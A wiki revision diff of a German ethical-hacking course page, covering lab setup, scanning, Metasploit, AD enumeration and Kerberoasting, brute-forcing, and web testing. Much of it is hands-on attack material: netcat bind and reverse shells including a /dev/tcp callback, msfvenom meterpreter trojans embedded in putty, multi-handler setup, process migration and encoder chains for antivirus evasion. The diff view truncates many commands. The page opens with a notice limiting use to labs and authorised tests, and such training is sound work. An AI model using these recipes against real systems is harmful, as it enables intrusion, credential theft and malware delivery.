Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
| Nächste Überarbeitung | Vorhergehende Überarbeitung | ||
| edv:hacking:hack:start [15 50 2025 19 : 50] – angelegt - Externe Bearbeitung 127.0.0.1 | edv:hacking:hack:start [23 19 2026 20 : 19] (aktuell) – André Reichert-Creutz | ||
|---|---|---|---|
| Zeile 1: | Zeile 1: | ||
| - | ====== Ethical Hacking, der Komplettkurs ====== | + | {{: |
| + | |||
| + | <WRAP center round important 90%> | ||
| + | **Rechtlicher Hinweis:** Alle hier beschriebenen Tools und Techniken dürfen ausschließlich in eigenen Laborumgebungen oder mit schriftlicher, eindeutig abgegrenzter Freigabe (Scope-Dokument, | ||
| + | </ | ||
| ===== Labor ===== | ===== Labor ===== | ||
| - | Es werden | + | Es werden |
| * Kali -> Dies wird das Arbeits-System | * Kali -> Dies wird das Arbeits-System | ||
| - | * Metasploitable 2 -> Ein unsicheres System zum Scannen (Nicht im Internet sichtbar!) | + | * Metasploitable 2 -> Ein unsicheres System zum Scannen (nicht im Internet sichtbar!) |
| * Win7 -> System um Windows-Hacks zu testen (idealerweise ohne Updates) | * Win7 -> System um Windows-Hacks zu testen (idealerweise ohne Updates) | ||
| * Win10 -> um die Unterschiede zu Win7 zu zeigen | * Win10 -> um die Unterschiede zu Win7 zu zeigen | ||
| - | * Windows AD-Server für die AD und LDAP-Hacks | + | * Windows AD-Server für die AD- und LDAP-Hacks |
| - | * Talis als Live CD -> Livesystem um unerkannt im Internet Daten zu sammeln | + | * Tails als Live-CD -> Livesystem um unerkannt im Internet Daten zu sammeln |
| * Aktueller Ubuntu Server -> DAU-Server um Dienste scannen zu können | * Aktueller Ubuntu Server -> DAU-Server um Dienste scannen zu können | ||
| - | Um sowohl | + | Um sowohl |
| - | dpkg --add-architecture i386 && apt update && apt install wine32 | + | <code bash> |
| - | + | dpkg --add-architecture i386 && apt update && apt install wine32 | |
| - | Anmerkung: Ich verwende statt Kali lieber [[https:// | + | </ |
| - | ==Exkurs VNC== | + | |
| - | * Installation: | + | Anmerkung: Ich verwende statt Kali lieber [[https:// |
| - | * Konfiguration: | + | |
| + | ==== Exkurs VNC ==== | ||
| + | * Installation: | ||
| + | * Konfiguration: | ||
| <code bash> | <code bash> | ||
| #!/bin/sh | #!/bin/sh | ||
| Zeile 27: | Zeile 36: | ||
| x-window-manager & | x-window-manager & | ||
| mate-session & | mate-session & | ||
| - | and just to be sure, we’ll make it executable | ||
| </ | </ | ||
| - | * Ausführbar machen: <code bash> sudo chmod +x ~/ | ||
| - | * Erster Start: <code bash> vncserver </ | + | |
| - | * Auf dem Client: <code bash> vncviewer 192.168.178.21: | + | |
| + | * Auf dem Client: <code bash> | ||
| ---- | ---- | ||
| - | + | ==== Grundlagen ==== | |
| - | ==== Grundlagen ==== | + | |
| |< 100% 20% >| | |< 100% 20% >| | ||
| ^ Begriffe | ^ Begriffe | ||
| - | | Exploit | + | | Exploit |
| - | | Zero Day Attack | + | | Zero Day Attack |
| - | | Vulnerability | + | | Vulnerability |
| - | | Payload | + | | Payload |
| - | | Hack Value | Die Belohnung des Hackers -> Schwere des Angriff/Schaden | + | | Hack Value | Die "Belohnung" |
| - | | Bot | Ein Bot ist ein Stück Software | + | | Bot | Ein Bot ist ein Stück Software, das automatisiert Aufgaben ausführt |
| - | | Daisy Chaining | + | | Daisy Chaining |
| - | | Doxing | + | | Doxing |
| |< 100% 20% >| | |< 100% 20% >| | ||
| ^ Schutzziele | ^ Schutzziele | ||
| - | | Vertraulichkeit | + | | Vertraulichkeit |
| | Integrität | | Integrität | ||
| | Verfügbarkeit | | Verfügbarkeit | ||
| - | | | + | | |
| | Verbindlichkeit | | Verbindlichkeit | ||
| - | | | + | | |
| ==== Bedrohungen im Überblick ==== | ==== Bedrohungen im Überblick ==== | ||
| Zeile 68: | Zeile 75: | ||
| torbrowser-launcher | torbrowser-launcher | ||
| </ | </ | ||
| - | < | + | <sup> |
| Siehe: https:// | Siehe: https:// | ||
| </ | </ | ||
| ==== Seiten im Darknet finden ==== | ==== Seiten im Darknet finden ==== | ||
| - | Webseiten aus dem Darknet enden oft mit *.onion Diese Seiten findet man als Liste unter | + | Webseiten aus dem Darknet enden oft mit *.onion. Diese Seiten findet man als Liste unter (Stand prüfen – .onion-Adressen ändern sich häufig und werden gelegentlich von Betrügern übernommen, |
| - | *[[http:// | + | * [[http:// |
| - | *[[http:// | + | * [[http:// |
| - | *[[http:// | + | * [[http:// |
| ===== Hidden Surfing ===== | ===== Hidden Surfing ===== | ||
| Tails: https:// | Tails: https:// | ||
| - | |||
| ---- | ---- | ||
| - | + | ====== Vulnerability Management (VM) ====== | |
| - | ====== Vulnerability Management (VM) ===== | + | |
| {{ : | {{ : | ||
| Unter Vulnerability Management versteht man eine Methode der immer wiederkehrenden Sicherheitsanalyse. Nachdem die Vorbereitungen einmal getroffen wurden und der Vulnerability-Assessment-Lifecycle eingerichtet ist, kann ein Pentest mit Auswertung und Fehlerbehebung stark automatisiert werden. Dazu sind nötig: | Unter Vulnerability Management versteht man eine Methode der immer wiederkehrenden Sicherheitsanalyse. Nachdem die Vorbereitungen einmal getroffen wurden und der Vulnerability-Assessment-Lifecycle eingerichtet ist, kann ein Pentest mit Auswertung und Fehlerbehebung stark automatisiert werden. Dazu sind nötig: | ||
| + | |||
| ==== Vorbereitungen ==== | ==== Vorbereitungen ==== | ||
| * Rollen und Verantwortungen der Mitarbeiter festlegen | * Rollen und Verantwortungen der Mitarbeiter festlegen | ||
| * Was soll geprüft werden (Systeme, Dienste, Netzwerk) | * Was soll geprüft werden (Systeme, Dienste, Netzwerk) | ||
| * Welche Tools sollen verwendet werden | * Welche Tools sollen verwendet werden | ||
| - | * Erstellen von SLAs uns Policies | + | * Erstellen von SLAs und Policies |
| - | Nachdem also festgelegt wurde wer was und womit getestet werden soll kann dies dokumentiert werden. So ist auch rechtlich der Pentest abgesichert. | + | |
| + | Nachdem also festgelegt wurde, wer was und womit getestet werden soll, kann dies dokumentiert werden. So ist auch rechtlich der Pentest abgesichert (siehe Hinweis am Seitenanfang). | ||
| ==== Assess (Beurteilung) ==== | ==== Assess (Beurteilung) ==== | ||
| - | In diesem Schritt | + | In diesem Schritt |
| - | ==== Priorize (Priorisieren)==== | + | |
| - | Die im Report dokumentierten Schwachstellen werden bewertet | + | ==== Priorize (Priorisieren) ==== |
| - | * Höhe des Risiko | + | Die im Report dokumentierten Schwachstellen werden bewertet: |
| + | * Höhe des Risikos | ||
| * Aufwand und Kosten der Behebung | * Aufwand und Kosten der Behebung | ||
| * Mögliche Folgen der Behebung | * Mögliche Folgen der Behebung | ||
| + | |||
| ==== Act (Ausführen) ==== | ==== Act (Ausführen) ==== | ||
| - | Je nach Priorität werden die gefundenen Schwachstellen behandelt | + | Je nach Priorität werden die gefundenen Schwachstellen behandelt: |
| * Hohes Risiko -> Fehler schnell beheben | * Hohes Risiko -> Fehler schnell beheben | ||
| * Geringes Risiko -> Können wir mit der Bedrohung leben? | * Geringes Risiko -> Können wir mit der Bedrohung leben? | ||
| - | * Hoher Aufwand -> Können wir die Mittel | + | * Hoher Aufwand -> Können wir die Mittel |
| - | * Geringer Aufwand -> Direkt | + | * Geringer Aufwand -> Direkt |
| + | |||
| + | ==== Beispiel: Reporting-Vorlage ==== | ||
| + | Ein minimaler Pentest-Report sollte mindestens enthalten: | ||
| + | * **Executive Summary** (1 Seite, für Management, ohne Technikjargon) | ||
| + | * **Scope & Methodik** (getestete Systeme, Zeitraum, verwendete Tools, Ausschlüsse) | ||
| + | * **Findings-Tabelle**: | ||
| + | * **Priorisierte Maßnahmenliste** nach Aufwand/ | ||
| + | * **Anhang** mit Rohdaten (Scan-Ausgaben, | ||
| + | |||
| + | Bewährte Kategorisierung nach CVSS: 9.0–10.0 kritisch, 7.0–8.9 hoch, 4.0–6.9 mittel, 0.1–3.9 niedrig. | ||
| ====== Informationsbeschaffung ====== | ====== Informationsbeschaffung ====== | ||
| ^ URL ^ Name ^ Funktion / Inhalt ^ ^ | ^ URL ^ Name ^ Funktion / Inhalt ^ ^ | ||
| - | | https:// | + | | https:// |
| - | | https:// | + | | https:// |
| - | | https:// | + | | https:// |
| - | | http:// | + | | http:// |
| - | | https:// | + | | https:// |
| - | | https:// | + | | https:// |
| - | | https:// | + | | https:// |
| - | | https:// | + | | https:// |
| - | | https:// | + | | https:// |
| - | | https:// | + | | https:// |
| ===== Scanning ===== | ===== Scanning ===== | ||
| - | Methoden: | + | Methoden:\\ |
| - | Host-Discovery -> Portscan -> Dienst und OS-Erkennung -> Vulnerability-Scan | + | Host-Discovery -> Portscan -> Dienst- und OS-Erkennung -> Vulnerability-Scan |
| * Umgehen von Firewalls | * Umgehen von Firewalls | ||
| * Banner Grabbing | * Banner Grabbing | ||
| - | * Einsatz von Proxies und Anonymisierer | + | * Einsatz von Proxies und Anonymisierern |
| ==== Das OSI-Modell ==== | ==== Das OSI-Modell ==== | ||
| {{ : | {{ : | ||
| - | ===== Enemeration | + | ===== Enumeration |
| - | ==== nmap ==== | + | ==== nmap (Grundlagen) |
| ^ Name ^ Scan ^ Beschreibung ^ | ^ Name ^ Scan ^ Beschreibung ^ | ||
| - | | Standard Subnet-Scan (Ping) | nmap -sL 192.168.178.0/ | + | | Standard Subnet-Scan (Ping) | nmap -sn 192.168.178.0/ |
| - | | Standard Portscan | nmap -sS | + | | List Scan | nmap -sL 192.168.178.0/ |
| - | | Ack Scan | nmap -sA | wird von Firewall | + | | Standard Portscan |
| - | | IP-ID-Scan | nmap -Pn -p- < | + | | UDP-Scan | nmap -sU -p 53,69,111 < |
| + | | Ack Scan | nmap -sA < | ||
| + | | Idle/Zombie-Scan | nmap -Pn -sI < | ||
| | Diensterkennung | nmap < | | Diensterkennung | nmap < | ||
| | OS-Erkennung | nmap < | | OS-Erkennung | nmap < | ||
| - | | Decoy Scan | nmap -D < | + | | Decoy Scan | nmap -D < |
| - | | Spoof | nmap -s < | + | | Source-Spoofing |
| | Textausgabe | nmap -oG < | | Textausgabe | nmap -oG < | ||
| - | | XML | nmap -oX < | + | | XML-Ausgabe |
| - | | Best Practice | nmap -A -T4 -F -v < | + | | Best Practice | nmap -A -T4 -F -v < |
| - | **Nmap Scripte**\\ | + | |
| + | **Nmap-Scripte**\\ | ||
| Pfad: / | Pfad: / | ||
| - | | Einzelne *.nse ausführen | nmap --script < | + | ^ Aktion ^ Befehl ^ Anmerkung ^ |
| - | | Alle Scripte | nmap --script / | + | | Einzelne *.nse ausführen | nmap --script < |
| + | | Alle Scripte | nmap --script / | ||
| ==== Metasploit (msf) ==== | ==== Metasploit (msf) ==== | ||
| - | {{: | + | {{: |
| == Einrichten == | == Einrichten == | ||
| - | | + | <code bash> |
| - | systemctl enable postgresql | + | systemctl start postgresql |
| - | msfdb init # Initiierung | + | systemctl enable postgresql |
| - | msfconsole | + | msfdb init # Initiierung |
| - | db_status | + | msfconsole |
| - | workspace -a Lab | + | db_status |
| - | workspace | + | workspace -a Lab # Workspace anlegen |
| - | workspace -h # Zeigt die Hilfe für workspace | + | workspace |
| - | + | workspace -h # Zeigt die Hilfe für workspace | |
| - | == Backup == | + | </ |
| - | db_export -f xml / | + | |
| - | + | == Backup == | |
| + | <code bash> | ||
| + | db_export -f xml / | ||
| + | </ | ||
| == Kommandos == | == Kommandos == | ||
| - | | + | <code bash> |
| - | workspace Lab # In Workspace wechseln | + | msfconsole |
| - | show # Listet alle Module | + | workspace Lab # In Workspace wechseln |
| - | show auxiliary | + | show # Listet alle Module |
| - | search scanner | + | show auxiliary |
| - | Ein Modul verwenden (hier: ssh_version) | + | search scanner |
| - | use auxiliary/ | + | </ |
| - | set rhosts < | + | |
| - | run | + | Ein Modul verwenden (hier: ssh_version): |
| - | hosts | + | <code bash> |
| - | services | + | use auxiliary/ |
| - | + | set rhosts < | |
| - | nmap verwenden | + | run # Start |
| - | db_nmap -T4 -A -v 192.168.178.0/ | + | hosts # Zeigt gefundene Hosts in der DB |
| - | db_nmap -sU -p161 192.168.178.0/ | + | services |
| - | + | </ | |
| - | Sploits suchen | + | |
| - | searchsploit Local Priv | wc -l # Zeigt Menge an gefundenen Treffer zu "Local Priv" Sploits | + | nmap aus msf heraus |
| - | searchsploit Local Priv |grep -i ubuntu | + | <code bash> |
| - | ==== NetBIOS | + | db_nmap -T4 -A -v 192.168.178.0/ |
| - | nbtscan -r 192.168.178.0/ | + | db_nmap -sU -p161 192.168.178.0/ |
| - | enum4linux -v < | + | </ |
| - | nmap -p 139,445 --script " | + | |
| - | + | Sploits suchen: | |
| - | ==== SNMP Enemeration | + | <code bash> |
| - | nmap-Scripte für einen SNMP-Scan: ls / | + | searchsploit Local Priv | wc -l # Zeigt Menge der gefundenen Treffer zu "Local Priv" Sploits |
| - | nmap -sU -p 161 --script " | + | searchsploit Local Priv | grep -i ubuntu |
| - | + | </ | |
| - | msf | + | |
| - | use auxiliary/ | + | ==== NetBIOS-Enumeration |
| - | options | + | <code bash> |
| - | set rhosts < | + | nbtscan -r 192.168.178.0/ |
| - | + | enum4linux -v < | |
| - | onesixtyone | + | nmap -p 139,445 --script " |
| - | vim community.list | + | </ |
| - | for ip in $(seq 1 254); do echo 192.168.178.$ip; | + | |
| - | onesixtyone -c community.list -i ip_address-list -d | + | ==== SNMP-Enumeration |
| + | nmap-Scripte für einen SNMP-Scan: | ||
| + | <code bash> | ||
| + | nmap -sU -p 161 --script " | ||
| + | </ | ||
| + | |||
| + | msf: | ||
| + | <code bash> | ||
| + | use auxiliary/ | ||
| + | options | ||
| + | set rhosts < | ||
| + | </ | ||
| + | |||
| + | onesixtyone: | ||
| + | <code bash> | ||
| + | vim community.list | ||
| + | for ip in $(seq 1 254); do echo 192.168.178.$ip; | ||
| + | onesixtyone -c community.list -i ip_address-list -d | ||
| + | </ | ||
| ==== LDAP ==== | ==== LDAP ==== | ||
| - | Zusatzmaterial: | + | Zusatzmaterial: |
| {{ : | {{ : | ||
| - | nmap | + | |
| - | nmap -O -sV -p 389,636 --open < | + | <code bash> |
| - | + | nmap -O -sV -p 389,636 --open < | |
| - | jxplorer | + | </ |
| - | apt install jxplorer | + | |
| - | jxplorer | + | jxplorer: |
| - | | + | <code bash> |
| + | apt install jxplorer | ||
| + | jxplorer | ||
| + | </ | ||
| + | |||
| + | ==== Active Directory – vertiefte Enumeration ==== | ||
| + | Zusätzlich zur reinen LDAP-Abfrage lohnt sich der Einsatz spezialisierter AD-Tools, sobald ein Domain-Controller im Lab steht: | ||
| + | |||
| + | | ||
| + | <code bash> | ||
| + | apt install bloodhound | ||
| + | neo4j console | ||
| + | bloodhound | ||
| + | </ | ||
| + | Sammler-Tool auf dem Zielsystem bzw. remote per Python: SharpHound (Windows) oder BloodHound.py (Linux, benötigt gültige Domain-Credentials). | ||
| + | |||
| + | * **CrackMapExec (bzw. NetExec als Nachfolger)** – SMB/ | ||
| + | <code bash> | ||
| + | crackmapexec smb 192.168.178.0/ | ||
| + | crackmapexec smb < | ||
| + | </ | ||
| + | |||
| + | * **Kerberoasting** – Service-Ticket-Anfrage für Accounts mit SPN, Hash offline crackbar | ||
| + | <code bash> | ||
| + | impacket-GetUserSPNs domain.local/ | ||
| + | hashcat -m 13100 hashes.txt rockyou.txt | ||
| + | </ | ||
| + | |||
| + | * **AS-REP Roasting** – betrifft Accounts ohne Kerberos-Pre-Authentication | ||
| + | <code bash> | ||
| + | impacket-GetNPUsers domain.local/ | ||
| + | </ | ||
| + | |||
| + | Fazit: AD-Angriffe zielen selten auf einzelne Exploits, sondern auf die Verkettung kleiner Rechte-/ | ||
| ==== SMTP ==== | ==== SMTP ==== | ||
| - | Email Enemaration | + | E-Mail-Enumeration: |
| - | Via telnet | + | |
| - | RCPT TO | + | |
| - | VRFY = Verify | + | |
| - | EXPN = Expand | + | |
| - | + | ||
| - | smtp-user-enum | + | smtp-user-enum: |
| - | | + | <code bash> |
| - | smtp-user-enum -M VRFY -U mailuser.txt -t < | + | # Datei mailuser.txt |
| - | + | smtp-user-enum -M VRFY -U mailuser.txt -t < | |
| + | </ | ||
| ==== DNS ==== | ==== DNS ==== | ||
| - | unter msf: db_nmap -sU -sS -p 53 < | + | Unter msf: <code bash>db_nmap -sU -sS -p 53 < |
| - | + | ||
| - | Zonentransfer | + | Zonentransfer: |
| - | dnsrecon -n < | + | <code bash> |
| - | dnsrecon -n < | + | dnsrecon -n < |
| - | + | dnsrecon -n < | |
| + | </ | ||
| ==== FTP ==== | ==== FTP ==== | ||
| - | starte msf | + | <code bash> |
| - | use exploit/ | + | msfconsole |
| - | set rhost < | + | use exploit/ |
| - | run | + | set rhost < |
| - | + | run | |
| - | + | </ | |
| - | ===== Vulnability-Scanner | + | |
| - | <color green> | + | ===== Vulnerability-Scanner ===== |
| - | <color green> | + | <color green> |
| + | <color green> | ||
| <color green> | <color green> | ||
| <color red> | <color red> | ||
| <color red> | <color red> | ||
| - | <color red> | + | <color red> |
| - | <color red> | + | <color red> |
| ==== nmap ==== | ==== nmap ==== | ||
| - | | + | <code bash> |
| + | nmap --script vuln <Ziel-IP> | ||
| + | </code> | ||
| ==== GVM ==== | ==== GVM ==== | ||
| - | Installation auf Ubuntu (https:// | + | Installation auf Ubuntu (https:// |
| - | Installation auf Kali https:// | + | Installation auf Kali: https:// |
| - | Installation auf Ubuntuserver | + | Installation auf Ubuntu Server: |
| < | < | ||
| - | | + | |
| - | gvm-setup | + | <code bash> |
| - | gvm-check-setup | + | apt install gvm |
| - | WARNING: Your password policy is empty. | + | gvm-setup |
| - | SUGGEST: Edit the / | + | gvm-check-setup |
| + | # | ||
| + | # | ||
| + | </ | ||
| Passwort ändern: | Passwort ändern: | ||
| - | | + | <code bash> |
| - | + | gvmd --user=admin --new-password=< | |
| - | Post Install | + | </ |
| - | vim / | + | |
| - | | + | Post-Install: |
| - | | + | <code bash> |
| - | Start / Stop | + | vim / |
| - | gvm-start | + | # |
| - | gvm-stop | + | </ |
| - | Der Dienst ist unter https:// | + | |
| + | Start / Stop: | ||
| + | <code bash> | ||
| + | gvm-start | ||
| + | gvm-stop | ||
| + | </ | ||
| + | |||
| + | Der Dienst ist unter https:// | ||
| Firefox remote verwenden: | Firefox remote verwenden: | ||
| - | | + | <code bash> |
| - | firefox 127.0.0.1: | + | ssh -C -Y username@servername |
| - | + | firefox 127.0.0.1: | |
| + | </ | ||
| Firewall aktivieren: | Firewall aktivieren: | ||
| - | | + | <code bash> |
| - | ufw enable | + | apt-get install ufw |
| - | ufw allow 80 | + | ufw enable |
| - | ufw allow 9392 | + | ufw allow 80 |
| - | ufw allow 22 | + | ufw allow 9392 |
| - | + | ufw allow 22 | |
| - | | + | </ |
| - | {{ : | + | |
| - | {{ : | + | ====== Web-Anwendungs-Pentesting ====== |
| + | Ein eigenständiges großes Themenfeld, das im Lab am besten gegen absichtlich verwundbare Web-Apps geübt wird (z. B. **DVWA**, **OWASP Juice Shop**, **bWAPP**). | ||
| + | |||
| + | ==== Burp Suite ==== | ||
| + | Proxy zwischen Browser und Webanwendung, | ||
| + | <code bash> | ||
| + | burpsuite & | ||
| + | </ | ||
| + | Browser-Proxy auf 127.0.0.1: | ||
| + | |||
| + | ==== OWASP Top 10 (Auswahl mit Praxisbezug) ==== | ||
| + | ^ Schwachstelle ^ Kurzbeschreibung ^ Test-Ansatz ^ | ||
| + | | SQL-Injection | Eingaben werden ungeprüft in SQL-Queries übernommen | `sqlmap -u " | ||
| + | | Cross-Site Scripting (XSS) | Eingaben werden ungeprüft im Browser anderer Nutzer ausgeführt | Testpayload `< | ||
| + | | Broken Access Control | Fehlende Berechtigungsprüfung, | ||
| + | | Security Misconfiguration | Standard-Logins, | ||
| + | |||
| + | <code bash> | ||
| + | gobuster dir -u http://< | ||
| + | </ | ||
| + | |||
| + | Fazit: Web-App-Pentesting erfordert im Gegensatz zu klassischem Netzwerk-Pentesting meist manuelle Analyse der Anwendungslogik – automatisierte Scanner (z. B. `nikto`, ZAP) liefern nur einen ersten Anhaltspunkt. | ||
| + | |||
| + | ====== Phasen eines Systemangriffs ====== | ||
| + | {{ : | ||
| + | {{ : | ||
| ===== Zugang verschaffen ===== | ===== Zugang verschaffen ===== | ||
| ==== Default Logins mit msf scannen ==== | ==== Default Logins mit msf scannen ==== | ||
| - | | + | <code bash> |
| - | set RHOSTS < | + | use auxiliary/ |
| - | run | + | set RHOSTS < |
| - | postgres_login anpassen, wenn Passwörter bekannt sind | + | run |
| - | show options | + | </ |
| - | PASS_FILE | + | |
| - | Im Ordner der Datei sind mehrere | + | postgres_login anpassen, wenn Passwörter bekannt sind: |
| - | USER_FILE | + | <code bash> |
| - | + | show options | |
| + | # PASS_FILE | ||
| + | # Im Ordner der Datei liegen | ||
| + | # USER_FILE | ||
| + | </ | ||
| ==== Mail-Hack mit medusa ==== | ==== Mail-Hack mit medusa ==== | ||
| - | | + | How it works: |
| - | + | ||
| Vorbereitung: | Vorbereitung: | ||
| - | * Liste mit bekannten | + | * Liste mit bekannten |
| - | * Liste mit warscheinlichen Passwörter | + | * Liste mit wahrscheinlichen Passwörtern |
| + | |||
| + | Starten: | ||
| + | <code bash> | ||
| + | medusa -h < | ||
| + | </ | ||
| - | Starte | ||
| - | medusa -h < | ||
| - | | ||
| ==== Hydra ==== | ==== Hydra ==== | ||
| - | | + | <code bash> |
| - | xhydra startet die GUI | + | hydra -l Nutzer |
| - | + | xhydra | |
| + | </ | ||
| ===== Backdoor mit nc ===== | ===== Backdoor mit nc ===== | ||
| - | Siehe: https:// | + | Siehe: https:// |
| === nc als Server auf Kali starten === | === nc als Server auf Kali starten === | ||
| - | <code bash> | ||
| - | | ||
| - | unter Kali die Datei / | ||
| - | <code bashc: | ||
| - | | ||
| - | **Datei mit nc übertragen** | ||
| <code bash> | <code bash> | ||
| - | | + | ncat -lp 4444 # Startet netcat als Server auf Port 4444 |
| - | nc < | + | </ |
| + | |||
| + | Unter Kali die Datei / | ||
| + | <code bash> | ||
| + | c:\nc>nc < | ||
| + | </ | ||
| + | |||
| + | **Datei mit nc übertragen** | ||
| + | <code bash> | ||
| + | c:\nc>nc -nlvp 4444 > wget.exe | ||
| + | nc < | ||
| </ | </ | ||
| === Bind-Shell mit nc === | === Bind-Shell mit nc === | ||
| <code bash> | <code bash> | ||
| - | ncat -nlvp 4444 -e / | + | ncat -nlvp 4444 -e / |
| - | c:\nc>nc < | + | c:\nc>nc < |
| - | c:\nc>nc -nlvp 4444 -e cmd.exe | + | c:\nc>nc -nlvp 4444 -e cmd.exe |
| - | ncat < | + | ncat < |
| </ | </ | ||
| === Reverse Shell mit nc === | === Reverse Shell mit nc === | ||
| <code bash> | <code bash> | ||
| - | ncat -nlvp 443 # startet einen Listener auf dem Server | + | ncat -nlvp 443 |
| - | ncat -nv < | + | ncat -nv < |
| bash -i >& / | bash -i >& / | ||
| </ | </ | ||
| - | ===== Privilegien Eskalation ===== | + | ===== Privilegien-Eskalation ===== |
| - | + | <code bash> | |
| - | msf starten und in den passenden Workspace wechseln | + | # msf starten und in den passenden Workspace wechseln |
| - | Falls vorhanden in den vuls nach distcc suchen (vulns) | + | # In den vulns nach distcc suchen (Befehl: |
| - | Nach einer passenden | + | # Nach passendem |
| - | | + | use exploit/ |
| - | RHOST setzen (set RHOST < | + | set RHOST < |
| - | | + | set PAYLOAD cmd/ |
| - | | + | exploit |
| - | + | </code> | |
| - | ==== meterpreter für Windows ==== | + | |
| - | Erstellen des Trojaner um aud einem Windows-Zielsystem eine meterpreter-Shell zu starten die sich zu unserem Server verbindet | + | |
| - | msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -o mp_shell.exe | + | |
| - | LHOST= IP des Kali Angreifer | + | |
| - | LPORT= Port der Komunikation (muss an der FW offen sein) | + | |
| - | -f = Art der Ergebnisdatei | + | |
| - | -o = Name der Ergebnisdatei | + | |
| - | Trojaner zB auf einem Webserver zur Verfügung stellen. \\ | + | ==== Meterpreter für Windows ==== |
| - | Auf Kali eine msfconsole mit Multihandler | + | Erstellen des Trojaners, um auf einem Windows-Zielsystem |
| - | | + | <code bash> |
| - | use exploit/multi/handler | + | msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -o mp_shell.exe |
| - | set payload windows/ | + | # LHOST = IP des Kali-Angreifers |
| - | set lhost <eigene-IP> | + | # LPORT = Port der Kommunikation |
| - | set lport 443 | + | # -f = Art der Ergebnisdatei |
| - | exploit | + | # -o = Name der Ergebnisdatei |
| - | + | </ | |
| - | Jetzt kann die Datei auf dem Windows-Ziel gestartet werden. In der meterpreter-Shell wird eine neue Shell (von Windows) angezeigt. \\ | + | |
| - | Anmerkung: Einfacher geht es mit SET: {{ : | + | |
| - | ==== das gleiche | + | Trojaner z. B. auf einem Webserver zur Verfügung stellen. Auf Kali eine msfconsole mit Multihandler starten: |
| - | msfvenom --payload linux/ | + | <code bash> |
| - | + | msfconsole | |
| - | Externe Module nachladen: load (2xtab) \\ | + | use exploit/ |
| + | set payload windows/ | ||
| + | set lhost < | ||
| + | set lport 443 | ||
| + | exploit | ||
| + | </ | ||
| + | |||
| + | Jetzt kann die Datei auf dem Windows-Ziel gestartet werden. In der Meterpreter-Shell wird eine neue Shell (von Windows) angezeigt.\\ | ||
| + | Anmerkung: Einfacher geht es mit SET: {{ : | ||
| + | |||
| + | ==== Das Gleiche | ||
| + | <code bash> | ||
| + | msfvenom --payload linux/ | ||
| + | </ | ||
| + | Externe Module nachladen: `load` (2x Tab)\\ | ||
| Weitere Infos: https:// | Weitere Infos: https:// | ||
| ===== Malware ===== | ===== Malware ===== | ||
| - | === Macro-Virus === | + | === Macro-Virus === |
| - | mit SET: {{ : | + | Mit SET: {{ : |
| === Trojaner === | === Trojaner === | ||
| - | 1. Carrier Applikation bereitstellen. Dies ist eine Applikation in der der Trojaner eingebaut werden soll. | + | 1. Carrier-Applikation bereitstellen. Dies ist eine Applikation, in die der Trojaner eingebaut werden soll. |
| <code bash> | <code bash> | ||
| - | msfvenom -p windows/meterpreter_reverse_tcp LMHOST=192.168.178.124 LPORT=8080 -x /hom/ | + | msfvenom -p windows/meterpreter/ |
| </ | </ | ||
| - | * -p definiert den Payload -> eine TCP reverse | + | * -p definiert den Payload -> eine TCP-Reverse-Shell auf Windows |
| - | * LMHOST | + | * LHOST ist die vom Ziel erreichbare IP des Kali |
| * LPORT ist der zur Kommunikation eingesetzte Port | * LPORT ist der zur Kommunikation eingesetzte Port | ||
| - | * -x welcher Carrier (32Bit) wird bereit gestellt | + | * -x welcher Carrier (32-Bit) bereitgestellt |
| - | * -k Der Carrier soll auch ausgeführt werden (ohne k wird nur der Trojaner aktiviert) | + | * -k der Carrier soll auch ausgeführt werden (ohne -k wird nur der Trojaner aktiviert) |
| - | * -f Die Output-Datei soll einene | + | * -f die Output-Datei soll eine exe sein |
| * -o Ziel der Output-Datei (idealerweise gleich der Webserver, zur einfachen Verbreitung) | * -o Ziel der Output-Datei (idealerweise gleich der Webserver, zur einfachen Verbreitung) | ||
| - | 2. Meterpreter-Session auf Kali starten | + | 2. Meterpreter-Session auf Kali starten: |
| - | msfconsole | + | <code bash> |
| - | use exploit/ | + | msfconsole |
| - | set payload windows/meterpreter_reverse_tcp | + | use exploit/ |
| - | set LHOST 192.168.178.124 | + | set payload windows/meterpreter/ |
| - | set LPORT 8080 | + | set LHOST 192.168.178.124 |
| - | run | + | set LPORT 8080 |
| - | + | run | |
| - | 3. Trojaner auf Zielsystem bereitstellen und ausführen | + | </ |
| - | Wird putty auf Windows | + | |
| + | 3. Trojaner auf Zielsystem bereitstellen und ausführen.\\ | ||
| + | Wird putty auf Windows | ||
| + | |||
| + | 4. Von putty auf " | ||
| + | <code bash> | ||
| + | ps -S explorer | ||
| + | migrate 336 | ||
| + | </ | ||
| - | 4. Von putty auf " | + | Jetzt steht eine Shell zum Zielsystem zur Verfügung. |
| - | ps -S explorer | + | |
| - | migrate 336 | + | |
| - | + | ||
| - | Jetzt steht eine Shell zum Zielsystem zur Verfügung | + | |
| ==== Payloads tarnen ==== | ==== Payloads tarnen ==== | ||
| Methoden der Tarnung: | Methoden der Tarnung: | ||
| * Encoder verändern den Binärcode | * Encoder verändern den Binärcode | ||
| - | * Packer | + | * Packer komprimieren, |
| - | * Crypter verschlüsseln | + | * Crypter verschlüsseln |
| - | * Embedder und Wrapper betten den Schadcod | + | * Embedder und Wrapper betten den Schadcode |
| * Customized Code ist selbst geschriebener Code, dessen Signatur noch nicht bekannt ist | * Customized Code ist selbst geschriebener Code, dessen Signatur noch nicht bekannt ist | ||
| === Encoder === | === Encoder === | ||
| - | | + | <code bash> |
| - | Verwenden wir als Beispiel " | + | msfvenom -l encoders |
| - | msfvenom -p windows/meterpreter_reverse_https | + | </ |
| - | * Bekannter Befehl um in putty einen Trojaner zu betten | + | Verwenden wir als Beispiel " |
| + | <code bash> | ||
| + | msfvenom -p windows/meterpreter/ | ||
| + | </ | ||
| + | * Bekannter Befehl, um in putty einen Trojaner zu betten | ||
| * -e Auswahl des Encoders | * -e Auswahl des Encoders | ||
| - | * -i Anzahl | + | * -i Anzahl |
| - | Mehrere Encoder nacheinander verwenden | + | Mehrere Encoder nacheinander verwenden: |
| - | msfvenom -p windows/meterpreter_reverse_https | + | <code bash> |
| - | * Verwendet zuerst den Encoder countdown mit 10 Iterationen und danach | + | msfvenom -p windows/meterpreter/ |
| + | </ | ||
| + | * Verwendet zuerst den Encoder countdown mit 10 Iterationen und danach | ||
| * Datei wird als double-ent.exe lokal gespeichert | * Datei wird als double-ent.exe lokal gespeichert | ||
